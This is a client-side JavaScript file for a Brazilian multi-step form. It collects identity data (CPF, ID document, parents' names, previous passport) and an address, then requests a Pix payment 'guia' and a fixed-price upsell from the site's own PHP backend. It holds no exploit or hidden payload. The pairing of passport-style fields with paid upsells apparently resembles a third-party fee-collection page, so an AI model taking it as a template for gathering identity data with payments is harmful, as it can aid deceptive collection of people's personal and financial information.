document.addEventListener('DOMContentLoaded', function () {
    const params = new URLSearchParams(window.location.search);
    const googleData = JSON.parse(localStorage.getItem('google')) || {};

    params.forEach((value, key) => {
        googleData[key] = value;
    });

    if (!googleData.utm_source) {
        googleData.utm_source = 'organic';
    }

    localStorage.setItem('google', JSON.stringify(googleData));
    console.log('Google Data Atualizado:', googleData);

    const newParams = Object.entries(googleData)
        .map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
        .join('&');

    const baseUrl = window.location.origin + window.location.pathname;
    const newUrl = `${baseUrl}?${newParams}`;

    if (window.location.href !== newUrl) {
        window.history.replaceState(null, '', newUrl);
    }
});
if ($(window).width() < 992) {
    $('.item-menu.is_sub').on('click', function () {
        $(this).toggleClass('active');
    });
}else{
    $('.item-menu.is_sub').on('mouseenter', function () {
        $(this).addClass('active');
    });
    $('.item-menu.is_sub').on('mouseleave', function () {
        $(this).removeClass('active');
    });    
}
function validarCPF(cpf) {
    cpf = cpf.replace(/\D/g, '');
    if (cpf.length !== 11 || /^(\d)\1{10}$/.test(cpf)) return false;

    let soma = 0, resto;
    
    for (let i = 1; i <= 9; i++) soma += parseInt(cpf[i - 1]) * (11 - i);
    resto = (soma * 10) % 11;
    if (resto === 10 || resto === 11) resto = 0;
    if (resto !== parseInt(cpf[9])) return false;

    soma = 0;
    for (let i = 1; i <= 10; i++) soma += parseInt(cpf[i - 1]) * (12 - i);
    resto = (soma * 10) % 11;
    if (resto === 10 || resto === 11) resto = 0;
    return resto === parseInt(cpf[10]);
}
function validarEmail(email) {
    const regexEmail = /^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/;
    return regexEmail.test(email);
}
function validarNome(nome) {
    const palavras = nome.split(/\s+/);
    return palavras.length >= 2;
}
jQuery(function($){
    $('.custom-select').each(function () {
        var name = $(this).attr('id');
        var $this = $(this),
        numberOfOptions = $(this).children('option').length;
        $this.wrap('<div class="select"></div>');
        $this.after('<div class="styledSelect '+name+'"><span></span></div>');
        var $styledSelect = $this.next('div.styledSelect');
        $styledSelect.text($this.children('option').eq(0).text());
        var $list = $('<ul />', {
            'class': 'options'
        }).insertAfter($styledSelect);
    
      for (var i = 0; i < numberOfOptions; i++) {
          $('<li />', {
              text: $this.children('option').eq(i).text(),
              rel: $this.children('option').eq(i).val()
          }).appendTo($list);
      }
      var $listItems = $list.children('li');
    
      $styledSelect.click(function (e) {
          e.stopPropagation();
          $('div.styledSelect.active').each(function () {
              $(this).removeClass('active').next('ul.options').hide();
          });
          $(this).toggleClass('active').next('ul.options').toggle();
      });
    
      $listItems.click(function (e) {
            e.stopPropagation();
            $styledSelect.text($(this).text()).removeClass('active');
            $this.val($(this).attr('rel'));
            $list.hide();
            $this.closest('.select').addClass('prench');
        });
    
      $(document).click(function () {
          $styledSelect.removeClass('active');
          $list.hide();
      });
    });
    $('#cep').mask('00000-000');
    $("#cep").focusout(function(){
        $.ajax({
            url: 'https://viacep.com.br/ws/'+$(this).val()+'/json/',
            dataType: 'json',
            success: function(resposta){
                $("#endereco").val(resposta.logradouro);
                $("#endereco").removeClass("error");
                $("#erro-endereco").css("display", "none").text('');
                $("#bairro").val(resposta.bairro);
                $("#bairro").removeClass("error");
                $("#erro-bairro").css("display", "none").text('');
                $("#cidade").val(resposta.localidade);
                $("#cidade").removeClass("error");
                $("#erro-cidade").css("display", "none").text('');
                $("#estado").val(resposta.uf);
                $("#estado").removeClass("error");
                $("#erro-estado").css("display", "none").text('');
                $("#numero").focus();
                $("#numero").removeClass("error");
                $("#erro-numero").css("display", "none").text('');
            },
            beforeSend: function () {
                $('#loading-form').css({ 'display': 'flex' });
            },
            complete: function () {
                $('#loading-form').css({ 'display': 'none' });
            }
        });
    });
    $('#cpf').mask('000.000.000-00');
    $('#nascimento').mask('00/00/0000');
    $('#emissao').mask('00/00/0000');
    $("#celular, #telefone").focus(function(){
        $(this).mask("(99) 99999-9999");
    });  
    $("#celular, #telefone").mask("(99) 99999-9999").focusout(function (event) {  
        var target, phone, element;  
        target = (event.currentTarget) ? event.currentTarget : event.srcElement;  
        phone = target.value.replace(/\D/g, '');
        element = $(target);  
        element.unmask();  
        if(phone.length > 10) {  
            element.mask("(99) 99999-9999");  
        } else {  
            element.mask("(99) 9999-9999");  
        }  
    });

    $('#nome').on('input', function () {
        let valor = $(this).val();
        if(valor != ''){
            if (!validarNome(valor)) {
                $(this).addClass('error').removeClass('ok');
                $('#erro-nome').text('Digite seu nome completo').css('display', 'block');
            } else {
                $(this).removeClass('error').addClass('ok');
                $('#erro-nome').text('').css('display', 'none');
            }
        }else{
            $(this).removeClass('error').removeClass('ok');
            $('#erro-nome').text('').css('display', 'none');
        }
    });

    $('#nascimento').on('input', function () {
        let valor = $(this).val();
        var regex = /^(0[0-9]|[12][0-9]|3[01])\/(0[1-9]|1[0-2])\/\d{4}$/;
        if(valor != ''){
            if (!regex.test(valor)) {
                $(this).addClass('error').removeClass('ok');
                $('#erro-nascimento').text('Digite uma data válida').css('display', 'block');
            } else {
                $(this).removeClass('error').addClass('ok');
                $('#erro-nascimento').text('').css('display', 'none');
            }
        }else{
            $(this).removeClass('error').removeClass('ok');
            $('#erro-nascimento').text('').css('display', 'none');
        }
    });

    $('#mae').on('input', function () {
        let valor = $(this).val();
        if(valor != ''){
            if (!validarNome(valor)) {
                $(this).addClass('error').removeClass('ok');
                $('#erro-mae').text('Digite o nome completo').css('display', 'block');
            } else {
                $(this).removeClass('error').addClass('ok');
                $('#erro-mae').text('').css('display', 'none');
            }
        }else{
            $(this).removeClass('error').removeClass('ok');
            $('#erro-mae').text('').css('display', 'none');
        }
    });

    $('#pai').on('input', function () {
        let valor = $(this).val();
        if(valor != ''){
            if (!validarNome(valor)) {
                $(this).addClass('error').removeClass('ok');
                $('#erro-pai').text('Digite o nome completo').css('display', 'block');
            } else {
                $(this).removeClass('error').addClass('ok');
                $('#erro-pai').text('').css('display', 'none');
            }
        }else{
            $(this).removeClass('error').removeClass('ok');
            $('#erro-pai').text('').css('display', 'none');
        }
    });

    $('.raca .options li').click(function() {
        var valor = $(this).attr('rel');
        $('#raca').val(valor);
        if(valor == ''){
            $('#raca').addClass('error').removeClass('ok');
            $('#erro-raca').text('Selecione uma opção válida').css('display', 'block');
        }else{
            $('#raca').removeClass('error').addClass('ok');
            $('#erro-raca').text('').css('display', 'none');
        }
    });

    $('.estado-civil .options li').click(function() {
        var valor = $(this).attr('rel');
        $('#estado-civil').val(valor);
        if(valor == ''){
            $('#estado-civil').addClass('error').removeClass('ok');
            $('#erro-estado-civil').text('Selecione uma opção válida').css('display', 'block');
        }else{
            $('#estado-civil').removeClass('error').addClass('ok');
            $('#erro-estado-civil').text('').css('display', 'none');
        }
    });

    $('.estado-nascimento .options li').click(function() {
        var valor = $(this).attr('rel');
        $('#estado-nascimento').val(valor);
        if(valor == ''){
            $('#estado-nascimento').addClass('error').removeClass('ok');
            $('#erro-estado-nascimento').text('Selecione uma opção válida').css('display', 'block');
        }else{
            $('#estado-nascimento').removeClass('error').addClass('ok');
            $('#erro-estado-nascimento').text('').css('display', 'none');
        }
    });

    $('#cidade-nascimento').on('input', function () {
        let valor = $(this).val();
        if(valor == ''){
            $(this).addClass('error').removeClass('ok');
            $('#erro-cidade-nascimento').text('Digite a cidade de nascimento').css('display', 'block');
        }else{
            $(this).removeClass('error').addClass('ok');
            $('#erro-cidade-nascimento').text('').css('display', 'none');
        }
    });

    $('input[name="nome_alterado"]').on('change', function() {
        if ($(this).is(':checked')) {
            $('#erro-nome-alterado').text('').css('display', 'none');
        }
    });

    $('#step-1-send').on('click', function () {
        let is_valid = true;
        var regex = /^(0[0-9]|[12][0-9]|3[01])\/(0[1-9]|1[0-2])\/\d{4}$/;

        if (
            !validarNome($('#nome').val()) ||
            !regex.test($('#nascimento').val()) ||
            ($('#mae').val() !== '' && !validarNome($('#mae').val())) ||
            ($('#pai').val() !== '' && !validarNome($('#pai').val()))
        ) {
            is_valid = false;
        }

        if($('#raca').val() == null || $('#raca').val() == ''){
            $('#raca').addClass('error').removeClass('ok');
            $('#erro-raca').text('Selecione uma opção válida').css('display', 'block');
            is_valid = false;
        }

        if($('#estado-civil').val() == null || $('#estado-civil').val() == ''){
            $('#estado-civil').addClass('error').removeClass('ok');
            $('#erro-estado-civil').text('Selecione uma opção válida').css('display', 'block');
            is_valid = false;
        }

        if($('#estado-nascimento').val() == null || $('#estado-nascimento').val() == ''){
            $('#estado-nascimento').addClass('error').removeClass('ok');
            $('#erro-estado-nascimento').text('Selecione uma opção válida').css('display', 'block');
            is_valid = false;
        }

        if($('#cidade-nascimento').val() == null || $('#cidade-nascimento').val() == ''){
            $('#cidade-nascimento').addClass('error').removeClass('ok');
            $('#erro-cidade-nascimento').text('Digite a cidade de nascimento').css('display', 'block');
            is_valid = false;
        }

        if($('#nome').val() == null || $('#nome').val() == ''){
            $('#nome').addClass('error').removeClass('ok');
            $('#erro-nome').text('Digite seu nome completo').css('display', 'block');
            is_valid = false;
        }

        if($('#nascimento').val() == null || $('#nascimento').val() == ''){
            $('#nascimento').addClass('error').removeClass('ok');
            $('#erro-nascimento').text('Digite uma data válida').css('display', 'block');
            is_valid = false;
        }
    
        if (!$('input[name="nome_alterado"]').is(':checked')) {
            $('#erro-nome-alterado').text('Selecione uma das opções').css('display', 'block');
            is_valid = false;
        }

        if (is_valid) {
            $('.step-1').removeClass('active').addClass('completed');
            $('.step-2').addClass('active').removeClass('completed');
        }
    });

    $('#step-1-return').on('click', function () {
        $('.step-1').addClass('active').removeClass('completed');
        $('.step-2').removeClass('active').removeClass('completed');
    });

    $('#cpf').on('input', function () {
        let valor = $(this).val();
        if(valor != ''){
            if (valor.length < 14 || !validarCPF(valor)) {
                $(this).addClass('error').removeClass('ok');
                $('#erro-cpf').text('O CPF informado é inválido ou incompleto').css('display', 'block');
            } else {
                $(this).removeClass('error').addClass('ok');
                $('#erro-cpf').text('').css('display', 'none');
            }
        }else{
            $(this).removeClass('error').removeClass('ok');
            $('#erro-cpf').text('').css('display', 'none');
        }
    });

    $('.uf-expedicao .options li').click(function() {
        var valor = $(this).attr('rel');
        $('#estado-expedicao').val(valor);
        if(valor == ''){
            $('#estado-expedicao').addClass('error').removeClass('ok');
            $('#erro-estado-expedicao').text('Selecione uma opção válida').css('display', 'block');
        }else{
            $('#estado-expedicao').removeClass('error').addClass('ok');
            $('#erro-estado-expedicao').text('').css('display', 'none');
        }
    });

    $('#identidade').on('input', function () {
        let valor = $(this).val();
        if(valor == ''){
            $(this).addClass('error').removeClass('ok');
            $('#erro-identidade').text('Digite o númro do documento').css('display', 'block');
        }else{
            $(this).removeClass('error').addClass('ok');
            $('#erro-identidade').text('').css('display', 'none');
        }
    });

    $('#emissao').on('input', function () {
        let valor = $(this).val();
        var regex = /^(0[0-9]|[12][0-9]|3[01])\/(0[1-9]|1[0-2])\/\d{4}$/;
        if(valor != ''){
            if (!regex.test(valor)) {
                $(this).addClass('error').removeClass('ok');
                $('#erro-emissao').text('Digite uma data válida').css('display', 'block');
            } else {
                $(this).removeClass('error').addClass('ok');
                $('#erro-emissao').text('').css('display', 'none');
            }
        }else{
            $(this).removeClass('error').removeClass('ok');
            $('#erro-emissao').text('').css('display', 'none');
        }
    });

    $('#orgao-emissor').on('input', function () {
        let valor = $(this).val();
        if(valor == ''){
            $(this).addClass('error').removeClass('ok');
            $('#erro-orgao-emissor').text('Digite o orgão emissor').css('display', 'block');
        }else{
            $(this).removeClass('error').addClass('ok');
            $('#erro-orgao-emissor').text('').css('display', 'none');
        }
    });

    $('input[name="menor"]').on('change', function() {
        if ($(this).is(':checked')) {
            $('#erro-menor').text('').css('display', 'none');
        }
    });

    $('input[name="passaporte_anterior"]').on('change', function() {
        if ($(this).is(':checked')) {
            $('#erro-passorte-anterior').text('').css('display', 'none');
        }
    });

    $('#step-2-send').on('click', function () {
        let is_valid = true;
        var regex = /^(0[0-9]|[12][0-9]|3[01])\/(0[1-9]|1[0-2])\/\d{4}$/;

        if($('#emissao').val() == null || $('#emissao').val() == '' || !regex.test($('#emissao').val())){
            $('#emissao').addClass('error').removeClass('ok');
            $('#erro-emissao').text('Digite uma data válida').css('display', 'block');
            is_valid = false;
        }

        if (!$('input[name="menor"]').is(':checked')) {
            $('#erro-menor').text('Selecione uma das opções').css('display', 'block');
            is_valid = false;
        }

        if (!$('input[name="passaporte_anterior"]').is(':checked')) {
            $('#erro-passorte-anterior').text('Selecione uma das opções').css('display', 'block');
            is_valid = false;
        }

        if($('#identidade').val() == null || $('#identidade').val() == ''){
            $('#identidade').addClass('error').removeClass('ok');
            $('#erro-identidade').text('Digite o número do documento').css('display', 'block');
            is_valid = false;
        }

        if($('#orgao-emissor').val() == null || $('#orgao-emissor').val() == ''){
            $('#orgao-emissor').addClass('error').removeClass('ok');
            $('#erro-orgao-emissor').text('Digite o número do documento').css('display', 'block');
            is_valid = false;
        }

        if($('#estado-expedicao').val() == null || $('#estado-expedicao').val() == ''){
            $('#estado-expedicao').addClass('error').removeClass('ok');
            $('#erro-eestado-expedicao').text('Selecione uma opção válida').css('display', 'block');
            is_valid = false;
        }

        if($('#cpf').val() == null || $('#cpf').val() == '' || !validarCPF($('#cpf').val()) || $('#cpf').val().length < 14){
            $('#cpf').addClass('error').removeClass('ok');
            $('#cpf').text('O CPF informado é inválido ou incompleto').css('display', 'block');
            is_valid = false;
        }

        if (is_valid) {
            $('.step-2').removeClass('active').addClass('completed');
            $('.step-3').addClass('active').removeClass('completed');
        }

    });

    $('#step-2-return').on('click', function () {
        $('.step-2').addClass('active').removeClass('completed');
        $('.step-3').removeClass('active').removeClass('completed');
    });

    $('#profissao').on('input', function () {
        let valor = $(this).val();
        if(valor == ''){
            $(this).addClass('error').removeClass('ok');
            $('#erro-profissao').text('Digite sua profissão').css('display', 'block');
        }else{
            $(this).removeClass('error').addClass('ok');
            $('#erro-profissao').text('').css('display', 'none');
        }
    });

    $('#email').on('input', function () {
        let valor = $(this).val();
        if(valor != ''){
            if(!validarEmail(valor)){
                $(this).addClass('error').removeClass('ok');
                $('#erro-email').text('Digite um e-mail válido').css('display', 'block');
            }else{
                $(this).removeClass('error').addClass('ok');
                $('#erro-email').text('').css('display', 'none');
            }
        }else{
            $(this).removeClass('error').addClass('ok');
            $('#erro-email').text('').css('display', 'none');
        }
    });

    $('#telefone').on('input', function () {
        let valor = $(this).val();
        if(valor != ''){
            if (valor.length < 14) {
                $(this).addClass('error').removeClass('ok');
                $('#erro-telefone').text('O mínimo de caracteres para esse campo é 14').css('display', 'block');
            } else {
                $(this).removeClass('error').addClass('ok');
                $('#erro-telefone').text('').css('display', 'none');
            }
        }else{
            $(this).removeClass('error').addClass('ok');
            $('#erro-telefone').text('').css('display', 'none');
        }
    });

    $('#cep').on('input', async function () {
        let valor = $(this).val();
        if (valor.length < 9){
            $(this).addClass('error');
            $('#erro-cep').text('O mínimo de caracteres para esse campo é 9').css('display', 'block');
        }else{
            $(this).removeClass('error').addClass('ok');
            $('#erro-cep').text('');
            $.ajax({
                url: 'https://viacep.com.br/ws/'+valor+'/json/',
                dataType: 'json',
                success: function(resposta){
                    if (resposta.cep !== undefined && resposta.cep !== '') {
                        $("#endereco").val(resposta.logradouro).addClass('ok');
                        $("#bairro").val(resposta.bairro).addClass('ok');
                        $("#cidade").val(resposta.localidade).addClass('ok');
                        $("#estado").val(resposta.uf).addClass('ok');
                        $("#numero").focus();
                    }else{
                        $('#cep').addClass('error').removeClass('ok');
                        $('#erro-cep').text('O CEP informado é inválido').css('display', 'block');
                    }
                },
                beforeSend: function () {
                    $('#loading-form').css({ 'display': 'flex' });
                },
                complete: function () {
                    $('#loading-form').css({ 'display': 'none' });
                }
            });
        }
    });

    $('#estado').on('input', function () {
        let valor = $(this).val();
        if(valor == ''){
            $(this).addClass('error').removeClass('ok');
            $('#erro-estado').text('Digite seu estado').css('display', 'block');
        }else{
            $(this).removeClass('error').addClass('ok');
            $('#erro-estado').text('').css('display', 'none');
        }
    });

    $('#cidade').on('input', function () {
        let valor = $(this).val();
        if(valor == ''){
            $(this).addClass('error').removeClass('ok');
            $('#cidade').text('Digite sua cidade').css('display', 'block');
        }else{
            $(this).removeClass('error').addClass('ok');
            $('#cidade').text('').css('display', 'none');
        }
    });

    $('#bairro').on('input', function () {
        let valor = $(this).val();
        if(valor == ''){
            $(this).addClass('error').removeClass('ok');
            $('#erro-bairro').text('Digite seu bairro').css('display', 'block');
        }else{
            $(this).removeClass('error').addClass('ok');
            $('#erro-bairro').text('').css('display', 'none');
        }
    });

    $('#endereco').on('input', function () {
        let valor = $(this).val();
        if(valor == ''){
            $(this).addClass('error').removeClass('ok');
            $('#erro-endereco').text('Digite seu endereço').css('display', 'block');
        }else{
            $(this).removeClass('error').addClass('ok');
            $('#erro-endereco').text('').css('display', 'none');
        }
    });

    $('#numero').on('input', function () {
        let valor = $(this).val();
        if(valor == ''){
            $(this).addClass('error').removeClass('ok');
            $('#erro-numero').text('Digite o número do endereço').css('display', 'block');
        }else{
            $(this).removeClass('error').addClass('ok');
            $('#erro-numero').text('').css('display', 'none');
        }
    });

    $('#step-3-send').on('click', function () {
        let is_valid = true;

        if($('#profissao').val() == null || $('#profissao').val() == ''){
            $('#profissao').addClass('error').removeClass('ok');
            $('#erro-profissao').text('Digite sua profissão').css('display', 'block');
            is_valid = false;
        }

        if($('#email').val() == null || $('#email').val() == '' || !validarEmail($('#email').val())){
            $('#email').addClass('error').removeClass('ok');
            $('#erro-email').text('Digite um e-mail válido').css('display', 'block');
            is_valid = false;
        }

        if($('#telefone').val() == null || $('#telefone').val() == '' || $('#telefone').val().length < 14){
            $('#telefone').addClass('error').removeClass('ok');
            $('#erro-telefone').text('O telefone informado é inválido').css('display', 'block');
            is_valid = false;
        }

        if($('#cep').val() == null || $('#cep').val() == '' || $('#cep').val().length < 9){
            $('#cep').addClass('error').removeClass('ok');
            $('#erro-cep').text('O CEP informado é inválido').css('display', 'block');
            is_valid = false;
        }

        if($('#estado').val() == null || $('#estado').val() == ''){
            $('#estado').addClass('error').removeClass('ok');
            $('#erro-estado').text('Digite seu estado').css('display', 'block');
            is_valid = false;
        }

        if($('#cidade').val() == null || $('#cidade').val() == ''){
            $('#cidade').addClass('error').removeClass('ok');
            $('#erro-cidade').text('Digite sua cidade').css('display', 'block');
            is_valid = false;
        }

        if($('#bairro').val() == null || $('#bairro').val() == ''){
            $('#bairro').addClass('error').removeClass('ok');
            $('#erro-bairro').text('Digite seu bairro').css('display', 'block');
            is_valid = false;
        }

        if($('#endereco').val() == null || $('#endereco').val() == ''){
            $('#endereco').addClass('error').removeClass('ok');
            $('#erro-endereco').text('Digite seu endereço').css('display', 'block');
            is_valid = false;
        }

        if($('#numero').val() == null || $('#numero').val() == ''){
            $('#numero').addClass('error').removeClass('ok');
            $('#erro-numero').text('Digite o número do endereço').css('display', 'block');
            is_valid = false;
        }

        if(is_valid){
            $('.step-3').removeClass('active').addClass('completed');
            $('.step-4').addClass('active').removeClass('completed');
        }
    });

    $('#step-3-return').on('click', function () {
        $('.step-3').addClass('active').removeClass('completed');
        $('.step-4').removeClass('active').removeClass('completed');
    });

    $('#pagarGuia').on('click', function(){
        $('#loading-form').css('display', 'flex');
        const params = new URLSearchParams(window.location.search);
        const google = JSON.parse(localStorage.getItem('google')) || {};

        var nome = $('#nome').val() ?? '';
        var nascimento = $('#nascimento').val() ?? '';
        var doc = $('#cpf').val() ?? '';
        var cpf = doc.replace(/\D/g, "");
        var profissao = $('#profissao').val() ?? '';
        var email = $('#email').val() ?? '';
        var telefone = $('#telefone').val() ?? '';
        var phone = telefone.replace(/\D/g, '');
        var cep = $('#cep').val() ?? '';
        var endereco = $('#endereco').val() ?? '';
        var numero = $('#numero').val() ?? '';
        var bairro = $('#bairro').val() ?? '';
        var cidade = $('#cidade').val() ?? '';
        var estado = $('#estado').val() ?? '';
        var valor = $('#amount').val() ?? '';
        var servico = $('#servico').val() ?? '';

        var site = new URL(window.location.href);
        var dominio = site.origin;

        var parametros = '?'+params;
        
        fetch('../sys/gateway.php', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            },
            body: JSON.stringify({
                cpf: cpf,
                nome: nome,
                email: email,
                phone: phone,
                valor: valor
            })
        })
        .then(response => response.json())
        .then(({ idPix, qrCode, copiaCola }) => {
            setTimeout(() => {
                var dadosSend = {
                    valor: valor,
                    nome: nome,
                    nascimento: nascimento,
                    cpf: cpf,
                    profissao: profissao,
                    email: email,
                    telefone: phone,
                    cep: cep,
                    endereco: endereco,
                    numero: numero,
                    bairro: bairro,
                    cidade: cidade,
                    estado: estado,
                    servico: servico,
                    utm_source: google.utm_source ?? '',
                    utm_campaign: google.utm_campaign ?? '',
                    utm_medium: google.utm_medium ?? '',
                    utm_content: google.utm_content ?? '',
                    utm_term: google.utm_term ?? '',
                    xcod: google.xcod ?? '',
                    sck: google.sck ?? '',
                    gclid: google.gclid ?? '',
                    gad_source: google.gad_source ?? '',
                    gbraid: google.gbraid ?? '',
                    keyword: google.keyword ?? '',
                    device: google.device ?? '',
                    network:google.network ?? '',
                    params: parametros,
                    url: dominio,
                    idpix: idPix,
                    qrcode: qrCode,
                    copiacola: copiaCola
                };
        
                fetch('../sys/processar.php', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify(dadosSend)
                })
                .then(response => response.json())
                .then(data => {
                    window.location.href = data.url;
                })
                .catch(error => {
                    console.error("Erro ao enviar os dados:", error);
                });
            }, 1500);
        })
        .catch(error => console.error("Erro ao gerar a guia:", error));
    });
    
    var btn = document.getElementById("gerarUpsell");

    if(btn){
        btn.addEventListener("click", function () {
            $('#loading-form').css('display', 'flex');
            valor_up_01 = 128.31;
            
            fetch('../sys/gateway.php', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json'
                },
                body: JSON.stringify({
                    cpf: user.cpf,
                    nome: user.nome,
                    email: user.email,
                    phone: user.telefone,
                    valor: valor_up_01
                })
            })
            .then(response => response.json())
            .then(({ idPix, qrCode, copiaCola }) => {
                setTimeout(() => {
                    var dadosSend = {
                        valor: valor_up_01,
                        transacao: user.transacao,
                        token: user.token,
                        idpix: idPix,
                        qrcode: qrCode,
                        copiacola: copiaCola
                    };
            
                    fetch('../sys/processar_upsell_01.php', {
                        method: 'POST',
                        headers: {
                            'Content-Type': 'application/json'
                        },
                        body: JSON.stringify(dadosSend)
                    })
                    .then(response => response.json())
                    .then(data => {
                        window.location.href = data.url;
                    })
                    .catch(error => {
                        console.error("Erro ao enviar os dados:", error);
                    });
                }, 1500);
            })
            .catch(error => console.error("Erro ao gerar a guia:", error));
        });
    }
    















    









    

});